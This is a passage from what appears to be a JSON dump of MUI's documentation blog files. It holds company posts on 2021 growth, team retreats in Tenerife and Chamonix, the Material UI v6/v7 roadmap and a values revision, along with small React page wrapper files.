4.6M to 6.0M unique visitors per year on the documentation.\n- ⭐️ From 63.8 to 74.0k stars, leave us [yours 🌟](https://github.com/mui/material-ui).\n- 👨‍👩‍👧‍👦 From 2,052 to [2,396](https://github.com/mui/material-ui/graphs/contributors) contributors.\n- 💰 Grew financial support by 2.9X in 2021, compared to 2020.\n- 🏢 From 6 to 14 full-time equivalent [team members](/about/).\n\nThe numbers speak for themselves. We have reproduced the [traction we got in 2020](/blog/2020/#growth).\n\n## In review\n\nWhen we started 2021, we had recently released the first version of the MUI X data grid and were in the middle of the release of Material UI v5.\nWe had committed ourselves to fully execute these two major efforts:\n\n- On the core (Material UI, Base UI, MUI System, Joy UI): major releases have historically been efforts that span over a dozen months.\n  v5 was no different as great work takes time.\n  At the beginning of 2021, we had solved the most important aspect of v5, we had a new style engine to unlock a better styling and customization experience for developers.\n  But we still had most of the work ahead of us, we had to roll out the improvements to all our users.\n  With a large code and user base like we have, we knew it would take time.\n  For example, we might have had migrated a few components to the new style engine and fix all the issues that we could find, going to production is unforgiving.\n  Developers tend to surface all the cases that are overlooked in the first iteration with GitHub issues.\n- On MUI X, we had successfully sold our first Pro plan licenses and reached 100k downloads/month on the MIT version.\n  We had early signs from the community of a market fit for the product and that the [open core license model](https://en.m.wikipedia.org/wiki/Open-core_model) was the right one to execute our mission.\n  We were determined to solely focus on the data grid component, and demonstrate that our model was viable to build the best React data grid in the space.\n\nWhat might have been the biggest change in 2021 is the implications of a larger team for the organization structure.\nWe have reached an inflection point at around 10 people.\nI could no longer look at all the GitHub issues and PRs.\nAt that point, it was requiring >70h/week to do it correctly.\nIt was not scaling to have one individual aware of all PRs and GitHub issues.\nContinuing in this direction would prevent us to grow the team, and more importantly, it was distracting me from the core CEO responsibilities (people, vision, funding).\nSo we have broken down the responsibilities\nWe have introduced our first layers of management and defined more clearly the purpose of each role.\n\n## Achievements\n\nWe have achieved most of what we could have hoped for.\n\n### Company\n\n- The most important, we have welcomed 10 [members](/about/) in the company: Matheus, Michał, Jun, Danilo, Flavien, Benny, Alexandre, Jan, Bharat, Prakhar.\n- We have introduced a [public handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b) on how we run the company.\n  For example, we are using the OKRs work methodology to prioritize our efforts.\n- We held our first company [retreat](/blog/2021-q3-update/#retreat) 🏝 in Lisbon, Portugal 🇵🇹 , for members of the team that were not prevented by COVID-19 related travel restrictions, and who felt safe enough to travel.\n- We have [rebranded](/blog/material-ui-is-now-mui/) the company to a clean 3 letters acronym: mui.com. This move was key for us to grow beyond Material Design.\n\n### Core (Material UI, Joy UI, Base UI, MUI System)\n\n- We have released [v5](/blog/mui-core-v5/), 21% of the npm downloads are on this major version now.\n- We have broken down the demos into smaller and focus on one aspect at a time.\n- We have polished and promoted most of the components that were in the lab to `@mui/material`.\n- We have introduced many new components:\n  - [Masonry](/material-ui/react-masonry/)\n  - [Stack](/material-ui/react-stack/)\n  - [Trap Focus](https://v6.mui.com/base-ui/react-focus-trap/)\n  - [Unstyled Button](https://v6.mui.com/base-ui/react-button/)\n  - [Unstyled Slider](https://v6.mui.com/base-ui/react-slider/)\n  - [Unstyled Modal](https://v6.mui.com/base-ui/react-modal/)\n  - [Unstyled Slider](https://v6.mui.com/base-ui/react-switch/)\n  - [Unstyled Tabs](https://v6.mui.com/base-ui/react-tabs/)\n\n### MUI X\n\n- We have released [v5](/blog/mui-x-v5/), 42% of the npm downloads are on this major version now.\n- We have introduced support for [custom locales](/x/react-data-grid/localization/).\n- We have introduced many new features while consolidating the existing ones:\n  - [Row editing](/x/react-data-grid/editing/#row-editing)\n  - [Cell editing](/x/react-data-grid/editing/)\n  - [Column pinning](/x/react-data-grid/column-pinning/)\n  - [Tree data](/x/react-data-grid/tree-data/)\n  - [CSV export](/x/react-data-grid/export/#csv-export)\n  - [Print](/x/react-data-grid/export/#print)\n- We have grown the MIT downloads on npm and the number of licenses sold per month by a factor of x10 in 2021 compared to 2020.\n- We have grown the size of the team from 2 to 4 people (6 in January).\n\n## Looking at 2022\n\nI have been involved on MUI for 7 years and almost 3 years full-time now.\nIt's amazing to see the progress the library has done [since then](https://v0.mui.com/#/components/app-bar).\nBut at the same time, I'm astonished by how far we can still push the mission forward.\nMy experience has been that the more we improve the library, the more we envision future ways to do it better.\nIt's still **[day 1](https://www.sec.gov/Archives/edgar/data/1018724/000119312517120198/d373368dex991.htm)**.\n\nWhat's our mission? To empower as many people as possible to build great UIs, faster.\n\n2021 was great, 2022 is going to be even more exciting!\nWe will continue in the same direction.\nHere is a breakdown of our [roadmap](/material-ui/discover-more/roadmap/).\n\n### MUI Core\n\nThe release of v5 has introduced a significant API churn in the community.\nWhile our [versioning frequency](/versions/#release-frequency) aims for one major per year, we hope we can iterate on v5 during the whole year of 2022 without any breaking changes, for example taking full advantage of the new style engine.\n\n#### Base UI\n\nTo continue improving the customization experience, we will double down on the version of the components without styles: `@mui/base`.\nThese components and hooks contain the main functionalities and accessibility, without being opinionated about how styles are applied or what styles.\nWe still have work to do to have a full set of unstyled components.\n\nYou can read more about them in [the docs](https://v6.mui.com/base-ui/getting-started/) and keep track of our progress in [#27170](https://github.com/mui/base-ui/issues/10).\n\nOur high-level plan is to use the unstyled components and hooks as the basis of the Material Design components and our second design system.\n\n#### System\n\nThere a number of improvements that we can bring to MUI System (the npm package `@mui/system` used to create the styled components).\nHopefully, we will bring native support for CSS variables, improve DX, and improve performance.\n\n#### Material UI\n\nGoogle is rolling out [Material Design 3](https://m3.material.io/), we have to determine how to respond to it.\nShould we implement it later on for v6? Should we ignore it? Should we implement Google's UI that looks cleaner instead?\nIn the meantime, we will keep improving the components, increasingly relying on `@mui/base`.\n\n#### Joy UI\n\nWe will continue [in the direction of 2021](/blog/2020/#a-second-theme).\nWhile Material Design is a predominant design choice for building rich client-side applications, it's not the only popular design trend.\nWe plan to provide a [second design system](https://github.com/mui/material-ui/issues/22485) to expand the range of use cases for MUI, striking a balance between:\n\n- alignment with the best-looking design trends of hot startups in the US.\n- optimization of its usage for rich client-side applications while keeping it good enough for landing pages.\n- simplicity of the design for allowing simpler customizations.\n- complementarity with Material Design.\n\nIt will be built on top of the unstyled components: Base UI and our styling library: MUI System.\n\n### MUI X\n\nThe recent data grid product initiative is working, it's time to scale MUI X by growing the team and the product scope.\n\n#### Data Grid\n\nWe will keep the data grid as our primary effort, there are many features left to be built. 🚧\nOur efforts will include: doubling down on the documentation, releasing the Premium features, and working on a hook-only API.\n\n#### Date Picker\n\nMUI Core had not enough bandwidth to work on the pickers components.\nSo we will expand the scope of MUI X to the date picker components, taking ownership and resuming where the work was left.\n\n### Low-code\n\nPro-code (writing code in a regular programming language) has been an incredibly effective way to deliver on our mission so far.\nThe two main benefits reported by developers in our 2021 survey for using MUI are \"moving faster\" and \"ease of use\".\nHowever, the data points we can find suggest that the demand for developers in the next 5-10 years is growing a lot faster than the growth of the workforce.\nThe importance of these two benefits is only going to increase, it's critical for MUI to keep pushing the envelope of what development speed and ease of use look like for developers.\n\nEntering low-code, we have a small team that will continue explore in 2022 how MUI can empower developers and knowledge workers to build apps more visually, up to x10 faster, with no advanced SQL or JavaScript knowledge.\nThe goal is to write fewer lines of code, while still empowering developers to extend it with custom logic.\n\n### Scale\n\nIf we sustain the current growth rate in 2022, we should be able to grow the team from 14 to 40 members in the company by the end of the year (based on the self bootstrap revenues).\nThe primary purpose will be to strengthen all the efforts that we have started, not starting any new ones until we reach a great level of execution on all the above.\n\nAt a high level we are guided by the following rock beliefs:\n\n- React dominance in the UI development landscape will continue to increase in the next 5 years.\n- Developers will always be looking to build faster, more appealing UIs, and with less specific knowledge.\n- Low-code will progressively become mainstream for professional developers and knowledge workers.\n\nIf like us, you are excited about bringing joy to developers and enabling more people to build beautiful apps faster, check our positions, there are 8 open roles as of now, [we are hiring](/careers/)!\n\nYou can help us shape these new packages by taking part in discussions.\n[RFCs](https://github.com/mui/material-ui/issues?q=is%3Aopen+label%3Adiscussion+%5BRFC%5D) are waiting for your feedback.\nDon't hesitate to let us know what you think!\n\nSee you in 2022, thank for being part of this journey 🚀\n"
  },
  {
    "path": "docs/pages/blog/2022-tenerife-retreat.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2022-tenerife-retreat.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2022-tenerife-retreat.md",
    "content": "---\ntitle: \"MUI's company retreat in Tenerife: a recap\"\ndescription: Our internationally distributed startup gathered on a remote island to get to know each other better. Here's what happened!\ndate: 2022-07-28T00:00:00.000Z\nauthors: ['samuelsycamore']\ntags: ['Company']\nmanualCard: true\n---\n\nOne of the toughest challenges to overcome as a fully remote team is fostering a supportive and inclusive company culture.\nHow do you build trust, comradery, and—dare I say it?—_friendships_, when there are so few opportunities for spontaneous social interactions in our daily work routines?\n\nAt MUI, we've chosen to prioritize in-person company retreats as a way to grow together and cultivate the culture that informs how we operate.\n\n<img alt=\"Photo of the MUI team in front of the pool at our accommodations in Tenerife\" src=\"/static/blog/2022-tenerife-retreat/group-photo.jpeg\" width=\"1920\" height=\"1440\" />\n\n<p class=\"blog-description\">The MUI team poses next to the pool during the company retreat.</p>\n\nIn late June 2022, sixteen of us gathered at a remote private residence on the island of Tenerife.\nThis was MUI's second company retreat, the first being in Portugal in 2021 when the team was just a fraction of the size it is today.\n\nWe had a ton of fun getting to know each other better over oceanic activities, poolside conversations, and incredible catered meals—not to mention a steady supply of local wine. 🥂\nOh, and I guess we got some work done along the way, too? 😅\n\n## Destination\n\n<img alt=\"Satellite image of Tenerife\" src=\"/static/blog/2022-tenerife-retreat/tenerife.jpeg\" width=\"2560\" height=\"1920\" loading=\"lazy\" />\n\n<p class=\"blog-description\">Satellite photo of Tenerife, via <a href=\"https://en.wikipedia.org/wiki/Tenerife\">Wikipedia</a>.</p>\n\nTenerife is a volcanic island off the coast of western Africa that's part of the Canary Islands (Spanish: _Canarias_).\nIt is the most populous island in the archipelago, and one of the most visited tourist destinations in the world.\nIts central defining feature is Mount Teide, the third largest volcano in the world when measured from its base, which rises 7,500 m (24,600 ft) from the bottom of the ocean floor, and 3,715m (12,188 ft) above sea level.\n\nWith an average temperature ranging from about 18-25 °C (68-77 °F) year-round, it's hard to pick a bad time to visit!\n\n## Accommodation\n\n<img alt=\"Photo of the pool in the evening at Symbiosis Living\" src=\"/static/blog/2022-tenerife-retreat/pool-evening.jpeg\" width=\"1920\" height=\"1440\" loading=\"lazy\" />\n\n<p class=\"blog-description\">A view of the pool at Symbiosis Living as dusk approaches.</p>\n\n[Symbiosis Living](https://www.symbiosisliving.com/) is a sustainable retreat venue nestled deep in the hills on the western side of the island.\nThe venue is a venerable oasis of lush green flora amid the stark and barren volcanic rock that surrounds it, hosting breezy guest houses adorned with rustic, regionally sourced furniture.\n\n<img alt=\"Photo of the outdoor kitchen at Symbiosis Living\" src=\"/static/blog/2022-tenerife-retreat/outdoor-kitchen.jpeg\" width=\"1918\" height=\"1439\" loading=\"lazy\" />\n\n<p class=\"blog-description\">The outdoor kitchen at Symbiosis Living.</p>\n\nThe owners were exceptionally accommodating and supportive for the entirety of our stay.\nAlmost all of our meals were cooked fresh by the hosts in their fabulous outdoor kitchen.\nI don't think I've ever eaten that many incredible home-cooked meals in a single week. 😋\nAnd somehow each one was even better than the last!\n\n<img alt=\"MUI X colleagues José and Andrew bond over a bottle of wine at dinner one night during the retreat.\" src=\"/static/blog/2022-tenerife-retreat/jose-andrew-wine.jpeg\" width=\"1920\" height=\"1440\" loading=\"lazy\" />\n\n<p class=\"blog-description\">MUI X colleagues José and Andrew bond through the tradition of a brüderschaft (German: <em>brotherhood</em>) toast.</p>\n\n## Activities\n\nThroughout our stay in Tenerife, we arranged group activities to make the most of what the island has to offer.\n\n### Whale and dolphin watching\n\n<img alt=\"Danail from the MUI X team snaps a selfie on the bow of the whale-watching boat, with coworkers in the background.\" src=\"/static/blog/2022-tenerife-retreat/whale-watching-danail.jpeg\" width=\"995\" height=\"747\" loading=\"lazy\" />\n\n<p class=\"blog-description\">Danail snaps a selfie on the whale-watching boat.</p>\n\nOur first full day together saw us venture out into the Atlantic Ocean in search of dolphins and whales.\n\nThe waters surrounding the Canary Islands are a biodiversity hotspot, and feeding grounds for many different species of marine mammals.\nWe spotted several [pilot whales](https://whalewatchtenerife.org/pilot-whales/) and what I believe were [bottlenose dolphins](https://whalewatchtenerife.org/bottlenose-dolphin/), though I'll be the first to admit that I'm no expert. 😅\n\nSeveral of us (myself included) made a critical mistake by skipping the sunscreen because it was a cloudy day.\nWe got burned to a crisp!\nAnd on the first day of the retreat, no less! 😭\nDon't be like us.\nWear sunscreen.\n\n### Scuba diving lessons\n\n<img alt=\"MUI team members and their diving instructors pose in scuba gear before a successful scuba diving lesson.\" src=\"/static/blog/2022-tenerife-retreat/scuba-gear.jpeg\" width=\"1222\" height=\"896\" loading=\"lazy\" />\n\n<p class=\"blog-description\">MUI team members and their diving instructors pose in scuba gear before a successful scuba diving lesson.</p>\n\nOn day two we split up into smaller groups to get individualized lessons in scuba diving at the beach in Playa San Juan.\n\nTo be honest I was pretty intimidated, especially after I put on all the gear and tried breathing from the tank for the first time.\nBut once I got into the groove, the time underwater went by so quickly!\nThe main highlights for me were spotting a [ray](https://aqua-marina.com/rays/) swimming by, and accidentally disturbing a [cuttlefish](https://www.paradisedivers.co.uk/blog/cuttlefish/) who was not pleased by our presence–and put on a great show as a result!\nSorry, bud!\n\n<img alt=\"Overhead view of MUI team members learning how to scuba dive underwater.\" src=\"/static/blog/2022-tenerife-retreat/scuba-1.jpeg\" width=\"1920\" height=\"1079\" loading=\"lazy\" />\n\n<p class=\"blog-description\">MUI team members learn how to dive off the coast of Tenerife.</p>\n\n### Volcanic hike at sunset\n\n<img alt=\"A group photo of the MUI crew posing near the base of Mount Teide at the start of the hike.\" src=\"/static/blog/2022-tenerife-retreat/teide-group.jpeg\" width=\"1198\" height=\"1598\" loading=\"lazy\" />\n\n<p class=\"blog-description\">The group poses at the start of the trail toward Teide.</p>\n\nThe third and final full day of the retreat took us up to Teide National Park for a guided interpretive hike around some of the lower peaks that surround Mount Teide as the sun was going down.\n\nThis was my personal favorite out of all the activities.\nWe learned a lot about the natural history of the island from our guide, who led us to one of the best sunset views I've ever seen in my life.\nPhotos don't even begin to do it justice.\nI completely understand why Teide is one of Europe's most visited parks.\n\n<img alt=\"The sun setting above the clouds as seen near the top of Teide.\" src=\"/static/blog/2022-tenerife-retreat/teide-sunset.jpeg\" loading=\"lazy\" width=\"1920\" height=\"1440\" />\n\n<p class=\"blog-description\">The Tenerife sunset as seen from Teide, above the clouds.</p>\n\n## And also work\n\nBelieve it or not, we actually did manage to squeeze in some productive work time between all the fun!\n\n### Roadmap to v6\n\n<img alt=\"MUI Core team members Marija, Jun, and Sam discuss the product roadmap.\" src=\"/static/blog/2022-tenerife-retreat/focus-group.jpeg\" width=\"1920\" height=\"1440\" loading=\"lazy\" />\n\n<p class=\"blog-description\">MUI Core team discusses the product roadmap.</p>\n\nOne of the key goals of the retreat was to outline mid- to long-term goals for our products, and begin to estimate timelines to get where we want to go from here.\n\nWe had some great conversations about what we hope to accomplish over the next several months on the way to our next major release: Material UI v6.\nIt's still hard to say when that release day might come, but we're optimistic that we could see it in mid to late 2023.\n[@RemindMe_OfThis](https://x.com/RemindMe_OfThis) September 2023 🙃\n\n<img alt=\"The product teams are seen spread out around a large indoor/outdoor workspace\" src=\"/static/blog/2022-tenerife-retreat/focus-groups.jpeg\" width=\"1920\" height=\"1440\" loading=\"lazy\" />\n\n<p class=\"blog-description\">Product teams spread out throughout the breezy indoor/outdoor workspace.</p>\n\nIn any case, we now have a better idea of what v6 could look like, and we defined quite a few initiatives to move forward with while we're still in the world of v5.\nKeep an eye out!\n\n### Focus groups\n\n<img alt=\"An impromptu focus group gathered next to the pool with laptops to discuss cross-team marketing strategies.\" src=\"/static/blog/2022-tenerife-retreat/outdoor-focus-group.jpeg\" width=\"1920\" heiht=\"1440\" loading=\"lazy\" />\n\n<p class=\"blog-description\">A focus group gathers to talk about developer marketing and outreach.</p>\n\nBefore the retreat, we were all invited to propose topics to cover in smaller groups for those who were interested.\nThis gave us a great opportunity for some cross-team collaboration that isn't usually part of our standard workflow.\n\nI participated in sessions on copywriting, marketing, and developer outreach that I found particularly exciting—but I'm kind of a nerd like that. 🤓\nOthers discussed optimizing TypeScript performance, implementing editable demos in the docs, and supporting [Joy UI](/blog/first-look-at-joy/) with MUI X components, among other things.\n\n### Our feline colleague 🐈\n\nAll throughout our working sessions, we were accompanied by a very friendly young kitty (name unknown) who consistently offered critical support when we needed it the most.\nWe can't thank her enough for her contributions to the company roadmap.\n\n<img alt=\"Collage of several photos of the MUI team members cuddling with the neighborhood cat during our work sessions.\" src=\"/static/blog/2022-tenerife-retreat/cat-collage.jpeg\" width=\"1600\" height=\"1893\" loading=\"lazy\" />\n\n<p class=\"blog-description\">The cat was responsible for all of the cutest moments during the retreat.</p>\n\n### In sync with the async team\n\nIt was honestly kind of odd to have (almost) all of my coworkers in the same as room as me.\nThis was the first time that the majority of us had ever met anyone else from the company in person—myself included.\nBut once we broke the ice and settled into a rhythm together, I felt that we established some common bonds and yes, friendships, that we will carry with us long after the sunburns have faded.\n\nI'm really grateful to have had the opportunity to connect with some of the best and brightest colleagues I've ever had, and in such an idyllic location.\nI think we're all already daydreaming about the next time we'll get to do this!\n\nSpeaking of which…\n\n## Will you be at the next retreat?\n\nWe're hiring!\n\nMUI is on track to grow from roughly 20 people to 40 or more by the time we get to our next company retreat in late Q1 2023.\n\nWe are constantly interviewing React developers from all around the world, and we are also increasingly looking to hire for non-technical roles such as People Operations Manager in which you could have a huge impact steering the direction of the company's nascent HR department.\n\nCheck out [our open roles](/careers/) so you can join us before the next retreat!\n\nThe way I see it, we have two options—since it'll be the dead of winter for the Northern Hemisphere, we can either:\n\n1. lean into the winter fun, maybe go skiing in the Alps? ⛷\n2. escape the cold by heading to some Equatorial beaches 🏝\n\nIf you have a strong opinion one way or the other, then you better join the team sooner rather than later!\n\nI look forward to meeting new colleagues—as well as reconnecting with the Tenerife crew—in 2023.\n\n<img alt=\"The path leading down the hill from the sunset view, with Teide glowing red in the background.\" src=\"/static/blog/2022-tenerife-retreat/teide-hike.jpeg\" width=\"1440\" height=\"1920\" loading=\"lazy\" />\n\n<p class=\"blog-description\">One final view of Teide glowing red in the sunset.</p>\n"
  },
  {
    "path": "docs/pages/blog/2023-chamonix-retreat.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2023-chamonix-retreat.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2023-chamonix-retreat.md",
    "content": "---\ntitle: MUI's team retreat in Chamonix\ndescription: The MUI team spent five days in the French Alps team-building, problem-solving, and brainstorming. Read all about it!\ndate: 2023-03-16T00:00:00.000Z\nauthors: ['mikailaread']\ntags: ['Company']\nmanualCard: true\n---\n\n## Why the Chamonix gathering?\n\nBeing a distributed team means everyone at MUI works asynchronously.\n\nWe celebrate having the freedom to deeply focus on what we're delivering, and being able to fit work around life instead of life around work. 😀\n\nBut this way of working can also mean some team members experience very little overlap in their online hours, which can make it more challenging to connect personally or collaborate.\n\nSo, what do we do?\n\nMUI is extremely intentional about bridging gaps by bringing our people together every ~8 months (as a minimum).\n\n_Our team retreats are about providing everyone a more tangible opportunity to feel part of the MUI community and to learn more about each other outside of work._\n\nIt's a time to focus more on who we are as individuals, which creates a wonderful ripple effect on the ways we work together as a team.\n\n## Where did we go?\n\nPhoto of the Heliopic Hotel & Spa exterior, via [Assas Hotels](https://www.assas-hotels.com/en/hotel-heliopic-sweet-spa/).\n\n<img alt=\"Wooden architecture exterior of the Heliopic Hotel and Spa\" src=\"/static/blog/2023-chamonix-retreat/hotel-exterior.jpeg\" loading=\"lazy\" width=\"2154\" height=\"1212\" />\n\nChamonix is a world capital for outdoor activities, such as mountaineering, skiing, snowboarding, paragliding, hiking, climbing, and so much more!\n\nThe Chamonix Mont Blanc valley offers unmatched alpine views, plus a whole host of stunning protected flora and fauna.\nWith a bustling city center full of quaint shops and restaurants — there's something for everyone to enjoy.\n\nWe stayed in the beautiful Helopic Hotel & Spa, which fit our needs perfectly. With fully-equipped conference rooms, a cozy lobby bar, a table-service restaurant, and a luxury spa — everything we needed was on-site. (The food was delicious, too!)\n\n<img alt=\"A plated apple dessert with three scoops of ice cream.\" src=\"/static/blog/2023-chamonix-retreat/dessert.jpeg\" loading=\"lazy\" width=\"4032\" height=\"3024\" />\n\n## What did we do?\n\nWe kicked off the week with several unique team-building activities, including a mini Winter Olympics, a competitive team biathlon, and even axe-throwing. 🎯🪓\n\nEngaging in new experiences together gave us an opportunity to learn about each other's strengths and weaknesses, and to develop a better understanding of how our differences influence the ways we might communicate and work together.\n\nIt also provided room for team members to share past experiences with one another and gain new perspectives.\n\n<img alt=\"Members of the MUI team standing in a line with their arms extended on each others' shoulders.\" src=\"/static/blog/2023-chamonix-retreat/caterpillar-game.jpeg\" loading=\"lazy\" width=\"2048\" height=\"1536\" />\n\n<img alt=\"MUI team members cross-country skiing.\" src=\"/static/blog/2023-chamonix-retreat/biathlon-skiers.jpeg\" loading=\"lazy\" width=\"2048\" height=\"1536\" />\n\n<img alt=\"MUI team members standing in a line shooting air rifles as part of a biathlon competition.\" src=\"/static/blog/2023-chamonix-retreat/biathlon-shooters.jpeg\" loading=\"lazy\" width=\"2048\" height=\"1536\" />\n\nOn the work-front, we hosted our monthly team meeting and offered a spread of different topic-based sessions for a \"choose your own adventure\" feel.\nPeople could opt into the sessions they felt most passionate or excited about, which really helped to sustain energy and result in fruitful discussions.\n\nSolving challenges and sparking new ideas takes on such a different feel when you're all in the same time and place!\nOur team walked away with a number of actionable changes and commitments for the near and far future.\n\n<img alt=\"MUI team members sit in a half-U shape as Co-Founder Olivier Tassinari presents the monthly meeting slides.\" src=\"/static/blog/2023-chamonix-retreat/monthly-meeting.jpeg\" loading=\"lazy\" width=\"4032\" height=\"3024\" />\n\nFollowing our very productive sessions, it was time to relax and refresh ourselves.\nWe decided to increase the amount of downtime on our final day together and leave space for serendipitous fun to unfold.\n\nAnd guess what: _**it worked!**_\n\nOne of the most-loved parts of our retreat in team feedback surveys turned out to be a completely unplanned game night.\nDespite tiring return journeys ahead, an exhausted group of us set up camp in the hotel lobby to play cards and board games into the wee hours of the morning.\nSpecial bonds formed over some very colorful rounds of Saboteur and terribly-executed magic tricks. 🙃🎩\n\nIt was just what we needed to close out the retreat with some moments of real connection.\n\n## What's next?\n\nIf you can believe it, we're already busy planning our next meet-up. Although we haven't decided on an exact location just yet, the team has agreed this much loud and clear: somewhere warm! ☀️😅\n\n<img alt=\"Two members of the MUI team and skiing instructor smiling with a mountain vista in the background.\" src=\"/static/blog/2023-chamonix-retreat/mountaineers.jpeg\" loading=\"lazy\" width=\"4032\" height=\"3024\" />\n\n<img alt=\"MUI team members standing lined-up in the snow with their skigear.\" src=\"/static/blog/2023-chamonix-retreat/skiers.jpeg\" loading=\"lazy\" width=\"4096\" height=\"3072\" />\n\n## Join the team\n\nMUI is on track to double in size by the end of this year with lots of open roles in engineering, design, and product teams.\nOur target date for the next company retreat is November 2023.\nTo have your say in where we go and what we do, join us now.\n\n[Visit our careers page!](/careers/) 🏃💨\n\n<img alt=\"Members of the MUI team sitting around a large wooden dining table.\" src=\"/static/blog/2023-chamonix-retreat/team-dinner.jpeg\" loading=\"lazy\" width=\"4032\" height=\"3024\" />\n"
  },
  {
    "path": "docs/pages/blog/2023-material-ui-v6-and-beyond.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2023-material-ui-v6-and-beyond.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2023-material-ui-v6-and-beyond.md",
    "content": "---\ntitle: The road to Material UI v6 and beyond\ndescription: We're tightening up the Material UI release schedule and shipping two major versions in 2024. Here's what to expect.\ndate: 2023-12-23T00:00:00.000Z\nauthors: ['mnajdova']\nmanualCard: true\ntags: ['Material UI', 'Product']\n---\n\nAs we approach the end of 2023, we've had our heads down working on some very exciting projects for the future of Material UI in the next year.\nWe reevaluated our major versioning strategy and concluded that we need to ship smaller releases more frequently.\nRead on to learn why, and find out more about our plans for v6 _and_ v7 of Material UI in 2024.\n\n<img alt=\"A summary about the major changes coming in Material UI v6 and v7\" src=\"/static/blog/2023-material-ui-v6-and-beyond/post-header.jpg\" width=\"2400\" height=\"1200\" />\n\n## Two major releases\n\nOne of the biggest lessons we learned during the v4 to v5 cycle is that smaller major releases with fewer breaking changes are the way to go.\nMany developers expressed how frustrating it was to migrate to v5 when it shipped in late 2021, and we can definitely empathize!\nWe want to make sure that never happens again.\nThat means you can expect more gradual updates spread out across two major releases in 2024.\nHere's what we're planning for each:\n\n### Material UI v6\n\nWith the stable version planned for Q2 of 2024, the primary focus of Material UI v6 is releasing a new [zero-runtime CSS-in-JS styling engine](https://github.com/mui/material-ui/issues/38137), which will pave the way for compatibility with React Server Components and add significant performance improvements.\nWe're building it so that the upgrade will be opt-in, which means you won't need to commit to it immediately.\n\nAs a taste of the performance upgrade, here are some early Lighthouse metrics with a couple of primary components running on an M1 Max MacBook Pro with 32 GB of RAM:\n\n| Total Blocking Time (TBT)      | Emotion | Zero-runtime |\n| :----------------------------- | ------: | -----------: |\n| Case #1: 1,000 Buttons         |    10ms |          0ms |\n| Case #2: 1,000 Outlined Inputs |   250ms |          0ms |\n\n### Material UI v7\n\nMaterial UI v7 is where you can expect to see native support for [Material Design 3](https://m3.material.io/), Google's latest Material Design update, as well as many other design improvements across the component suite.\nIt's tentatively planned for Q4 of 2024.\n\n<img alt=\"Side-to-side comparison of a Card component using Material Design 2 and 3, respectively.\" src=\"/static/blog/2023-material-ui-v6-and-beyond/m2-m3.jpg\" width=\"2400\" height=\"1200\" loading=\"lazy\" />\n\n## From design to development\n\nIn addition to the updates to the React library, we've also been working on a long-requested Figma plug-in to help bridge the gap between designers and developers using Material UI.\nWe're getting super close to a first release, which is custom-tailored to work nicely with the [Material UI Design Kits](/material-ui/getting-started/design-resources/).\n\n<img alt=\"A screenshot of Figma together with the MUI Connect plug-in running on the side, doing customizations to the Material UI Switch component.\" src=\"/static/blog/2023-material-ui-v6-and-beyond/connect.jpg\" width=\"2400\" height=\"1200\" loading=\"lazy\" />\n\nWe're calling it MUI Connect, and it generates a theme file with all the customizations done on Figma.\nYou'll be able to export it and paste it into your codebase, as well as visualize it in a Storybook instance.\nStay tuned for a beta version release early next year!\n\n## A sharper focus\n\nTo pull these releases off, the Core team's attention will be fully focused on Material UI for most of 2024.\nIn the meantime we're putting Joy UI development on hold, so don't expect any new features or components.\nNevertheless, we do have some big ideas for Joy UI!\nExpect to hear more about that towards the end of Q2 '24.\n\n## Follow along and contribute\n\nWe've consolidated the v6 changes in [this GitHub issue](https://github.com/mui/material-ui/issues/30660)—please feel free to chime in and participate in the discussions!\nYou can also always check the [Material UI GitHub project](https://github.com/orgs/mui/projects/23/views/12) to see the planned releases and their respective umbrella issues.\n\nWe hope you're as excited as we are about these changes!\nHave a wonderful holiday season and a Happy New Year! 🎉\n"
  },
  {
    "path": "docs/pages/blog/2023-mui-values.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2023-mui-values.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2023-mui-values.md",
    "content": "---\ntitle: Evolving MUI's core values and behaviors\ndescription: After significant growth, we united as a team to rediscover the values that underpin our shared success.\ndate: 2023-09-26T00:00:00.000Z\nauthors: ['mikailaread']\ntags: ['Company']\nmanualCard: true\n---\n\n## Why we chose to revise our core values\n\nMaterial UI was created in 2014 to grow and serve a community—from developers to designers, then MUI was founded in 2019, our core mission has always been to enable others to create incredible user experiences with unrivaled speed and ease.\n\nAlong the way, we embraced certain core principles that guided our ways of working—how we think, act, and innovate have always been grounded in fulfilling the best interests of our community.\n\nIn 2019, these became formalized in our first-ever company values: user obsession, excellence, transparency, freedom, and autonomy.\n\nNeedless to say, we've seen significant growth since then: both for the company and its products, as well as the broader community surrounding us.\n\nThat's why we wanted to take a moment to honor the values that led us to where we are today, and share how we've reshaped them to be an even more powerful force behind MUI's next phase of growth. 🚀\n\n## How we approached our values revision\n\nCompany values show up in some facet of all our roles every day, whether we're evaluating different ideas, making tough decisions, or determining the biggest priorities.\n\nThat's why it's so critical to ensure company values are actionable and authentic—that they are easily understood and truly shared by every MUIer.\n\nTo make that happen, we decided to engage the whole company in a series of discovery and reflection exercises. 🔍\n\nThis way, any changes to the company values—along with the language used to express them—would accurately reflect the values shared by our team. Here's how we did it! 👇\n\n<img alt=\"A collage of slides from the values discovery exercise kickoff.\" src=\"/static/blog/2023-mui-values/good-values.png\" width=\"2400\" height=\"1680\" loading=\"lazy\" />\n\n## Stage one: discovery questions\n\nKicking off, everyone was invited to answer 10 questions via an asynchronous survey.\n\nThe purpose of this portion was to get a picture of how the existing values were being perceived and actioned throughout the company from day to day.\nIt was also to give people an opportunity to express what they felt may be _missing_ and important to include for our future success.\n\nWe asked people to reflect on how accurately they felt each value described our internal culture; what they felt our company cared deeply about and why; what is utterly unique about us as a team; and more. 🤔💭\n\n<img alt=\"A screenshot of the intro page to our discovery survey.\" src=\"/static/blog/2023-mui-values/values-survey.png\" width=\"2400\" height=\"2340\" 